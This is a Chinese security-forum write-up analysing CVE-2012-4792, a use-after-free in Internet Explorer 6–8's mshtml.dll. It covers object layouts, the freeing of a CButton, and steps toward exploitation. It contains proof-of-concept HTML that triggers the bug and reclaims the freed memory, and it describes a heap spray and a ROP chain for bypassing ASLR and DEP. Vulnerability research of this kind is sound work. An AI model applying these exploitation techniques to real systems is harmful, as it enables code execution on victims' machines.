[原创]Internet Explorer漏洞分析(四)——CVE-2012-4792-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

[原创]Internet Explorer漏洞分析(四)——CVE-2012-4792

发表于: 2021-4-19 08:07 9545

[原创]Internet Explorer漏洞分析(四)——CVE-2012-4792

erfze

2021-4-19 08:07

9545

mshtml.dll在释放CButton对象后没有更新CDoc中Default Element对此地址引用，以致后续CElement::FindDefaultElem会重新获取此地址，传递给CMarkup::OnLoadStatusDone函数，使用已释放内存。

Microsoft Internet Explorer 6 through 8

MS13-008

分析用POC：

借助Math.tan、Math.sin、Math.cos(分别对应jscript!Tan、jscript!sin、jscript!cos)及mshtml!CreateElement可观察各对象的创建。document.createElement("div")：

document.createElement("q")：

document.createElement('button')：

下面来看如何创建DOM流，跟进CElement::applyElement函数分析，其创建位于CElement::EnsureInMarkup中：

CElement::EnsureInMarkup—>CDoc::CreateMarkupWithElement—>CTreeNode::CTreeNode：

其执行情况如下：

调用CTreeNode::CTreeNode完成：

可以看出div元素(即e1)的CTreeNode—>parent初始指向CRootElement，CTreeNode类结构如下所示：

将CTreeNode对象地址写入Element对象偏移0x14位置处：

CMarkup::ReparentDirectChildren将q元素(即e2)的CTreeNode地址写至div元素CTreeNode—>parent中：

CElement类部分结构含义如下：

对POC执行完e1.applyElement(e0);语句后所创建对象作一总结：

对象布局如下：

下面开始漏洞分析部分。e1.appendChild(document.createElement('button'));对应函数为CElement::appendChild，对于button元素，其会执行CElement::SetDefaultElem函数，将该元素设为Default Element：

具体执行如下：

e2.innerHTML = "";会将Phrase内元素清空：

e2.appendChild(document.createElement('body'));：

CollectGarbage();对应函数为jscript!JsCollectGarbage，它会调用mshtml!PlainTrackerRelease对button元素进行释放：

但其释放结束后并未更新CDoc对象中Default Element(Offset 0x1A8)，以致后续mshtml!CElement::FindDefaultElem函数使用已释放内存，触发漏洞：

首先是对已释放CButton对象内存进行占位，可通过两种方式——className与title。className：

title：

(注：上述两处代码均来自用ClassName占位和title占位的分析)

两种方式执行流对比：

其最终都会调用_HeapAllocString，其会调用ULongAdd函数将substring传递第二个参数加1，之后乘2传递给HeapAlloc分配该数值大小堆块：

创建CButton对象时申请堆块大小为0x58，如此一来，需要修改junk.substring(0,(0x58-6)/2)为junk.substring(0,(0x58-2)/2)：

完成占位：

之后进行Heap Spray：

var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);语句中0x5F4是因为要实现Shellcode精准Heap Spray到0x0c0c0c0c位置，堆块上数据从0x0024开始，0x0c0c-0x0024=0xbe8，该值除以2即为0x5f4：

最后是Bypass ASLR&DEP。加入如下语句：

会加载C:\Program Files\Common Files\microsoft shared\Help\hxds.dll文件，该文件并未开启ASLR，故可利用其构造ROP链(注：该文件随Office版本不同而不同，笔者采用Office 2010进行构造)。stackpivot有两处可供使用——0x51be4a41与0x51bd29c7，最终构造Exploit如下：

成功弹出计算器：

来自Happy New Year Analysis of CVE-2012-4792：

<!doctype html>
<html>
<head>
<script> 
function exploit()
{

     var e0 = null;

     var e1 = null;

     var e2 = null; 

     try {

          e0 = document.getElementById("a");

          //Math.tan(2,1);                    

          e1 = document.createElement("div")

          //Math.sin(2,1);                    

          e2 = document.createElement("q"); 

          //Math.cos(2,1);                    

          e1.applyElement(e2);                                        

          e1.appendChild(document.createElement('button'));

          e1.applyElement(e0);              

          e2.innerHTML = "";                

          e2.appendChild(document.createElement('body'));

     } catch(e) { }

     CollectGarbage();                      
} 

</script> 

</head>

<body onload="exploit()">

<form id="a">

</form>

</body>

</html>

<!doctype html>

<html>

<head>

<script>

function exploit()

{

var e0 = null;

var e1 = null;

var e2 = null;

try {

e0 = document.getElementById("a");

//Math.tan(2,1);

e1 = document.createElement("div")

//Math.sin(2,1);

e2 = document.createElement("q");

//Math.cos(2,1);

e1.applyElement(e2);

e1.appendChild(document.createElement('button'));

e1.applyElement(e0);

e2.innerHTML = "";

e2.appendChild(document.createElement('body'));

} catch(e) { }

CollectGarbage();

}

</script>

</head>

<body onload="exploit()">

<form id="a">

</form>

</body>

</html>

class CTreeNode
{
public: 

    CElement * element;

    CTreeNode * parent;

    BYTE        _etag;                              // 0-7:     element tag

    BYTE        _fFirstCommonAncestorNode : 1;    // 8:       for finding common ancestor

    BYTE        _fInMarkup : 1;    // 9:       this node is in a markup and shouldn't die

    BYTE        _fInMarkupDestruction : 1;    // 10:      Used by CMarkup::DestroySplayTree

    BYTE        _fHasLookasidePtr : 2;    // 11-12    Lookaside flags

    BYTE        _fBlockNess : 1;    // 13:      Cached from format -- valid if _iFF != -1

    BYTE        _fHasLayout : 1;    // 14:      Cached from format -- valid if _iFF != -1

    BYTE        _fUnused : 1;    // 15:      Unused

    SHORT       _iPF;                               // 16-31:   Paragraph Format

                                                // DWORD 2

    SHORT       _iCF;                               // 0-15:    Char Format

    SHORT       _iFF;
 
    CTreePos    _tpBegin;

    CTreePos    _tpEnd;

    DWORD      unknow1;

    DWORD      unknow2;

    DWORD      unknow3;
};

class CTreeNode

{

public:

CElement * element;

CTreeNode * parent;

BYTE _etag; // 0-7: element tag

BYTE _fFirstCommonAncestorNode : 1; // 8: for finding common ancestor

BYTE _fInMarkup : 1; // 9: this node is in a markup and shouldn't die

BYTE _fInMarkupDestruction : 1; // 10: Used by CMarkup::DestroySplayTree

BYTE _fHasLookasidePtr : 2; // 11-12 Lookaside flags

BYTE _fBlockNess : 1; // 13: Cached from format -- valid if _iFF != -1

BYTE _fHasLayout : 1; // 14: Cached from format -- valid if _iFF != -1

BYTE _fUnused : 1; // 15: Unused

SHORT _iPF; // 16-31: Paragraph Format

// DWORD 2

SHORT _iCF; // 0-15: Char Format

SHORT _iFF;

CTreePos _tpBegin;

CTreePos _tpEnd;

DWORD unknow1;

DWORD unknow2;

DWORD unknow3;

};

+0x10        CAttributeCollection

            +0x00    The total size of the Attribute Array<<2

            +0x04    Number of Attributes

            +0x08     CAttrArray

            +0x0c

+0x14        CTreeNode

+0x10 CAttributeCollection

+0x00 The total size of the Attribute Array<<2

+0x04 Number of Attributes

+0x08 CAttrArray

+0x0c

+0x14 CTreeNode

e0 Address:0x0026e4c8(Form Element)

    CTreeNode Address:0x00307cb0

e1 Address:0x002db1e8(Div Element)

    CTreeNode Address:0x00307af8

e2 Address:0x002dad38(Phrase Element)

    CTreeNode Address:0x00307b50

button Address:0x00311b48

    CTreeNode Address:0x00307ba8

e0 Address:0x0026e4c8(Form Element)

CTreeNode Address:0x00307cb0

e1 Address:0x002db1e8(Div Element)

CTreeNode Address:0x00307af8

e2 Address:0x002dad38(Phrase Element)

CTreeNode Address:0x00307b50

button Address:0x00311b48

CTreeNode Address:0x00307ba8

<!doctype html>
<html>
<head>

     <script>

     var arr_button = new Array();

    var junk=unescape("%u4141%u4141");

    while (junk.length < (0x100- 6)/2)

    {

     junk+=junk;

    }

     function helloWorld() {

          var e=document.createElement('div');

          var e0 = null;

          var e1 = null;

          var e2 = null;

for(i =0; i < 20; i++)
{

                document.createElement('button');
}

          try {

               e0 = document.getElementById("a");

               e1 = document.getElementById("b");

               e2 = document.createElement("q");

               e1.applyElement(e2);

               e1.appendChild(document.createElement('button'));

               e1.applyElement(e0);

               e2.outerText = "";

               e2.appendChild(document.createElement('body'));

          } catch(e) { }

          CollectGarbage();

          for(var i = 0; i<0x50; i++)

          {

               arr_button[i]= document.createElement("button");

               arr_button[i].className= junk.substring(0,(0x58-6)/2);

          }
 
     }
 
     </script>

</head>

<body onload="eval(helloWorld())">

     <form id="a">

     </form>

     <dfn id="b">

     </dfn>

</body>

</html>

<!doctype html>

<html>

<head>

<script>

var arr_button = new Array();

var junk=unescape("%u4141%u4141");

while (junk.length < (0x100- 6)/2)

{

junk+=junk;

}

function helloWorld() {

var e=document.createElement('div');

var e0 = null;

var e1 = null;

var e2 = null;

for(i =0; i < 20; i++)

{

document.createElement('button');

}

try {

e0 = document.getElementById("a");

e1 = document.getElementById("b");

e2 = document.createElement("q");

e1.applyElement(e2);

e1.appendChild(document.createElement('button'));

e1.applyElement(e0);

e2.outerText = "";

e2.appendChild(document.createElement('body'));

} catch(e) { }

CollectGarbage();

for(var i = 0; i<0x50; i++)

{

arr_button[i]= document.createElement("button");

arr_button[i].className= junk.substring(0,(0x58-6)/2);

}

</script>

</head>

<body onload="eval(helloWorld())">

<form id="a">

</form>

<dfn id="b">

</dfn>

</body>

</html>

<!doctype html>
<html>
<head>
<script>

var arr_div = new Array();

var junk=unescape("%u4141%u4141");

while (junk.length < (0x100- 6)/2)
{

junk+=junk;
}
function helloWorld() {

var e0 = null;

var e1 = null;

var e2 = null;
 
try {

e0 = document.getElementById("a");

e1 = document.getElementById("b");

e2 = document.createElement("q");
e1.applyElement(e2);

e1.appendChild(document.createElement('button'));
e1.applyElement(e0);

e2.outerText = "";

e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();

for(var i = 0; i<0x50; i++)
{

arr_div[i]= document.createElement("div");

arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}
 
</script>

</head>

<body onload="eval(helloWorld())">

<form id="a">

</form>

<dfn id="b">

</dfn>

</body>

</html>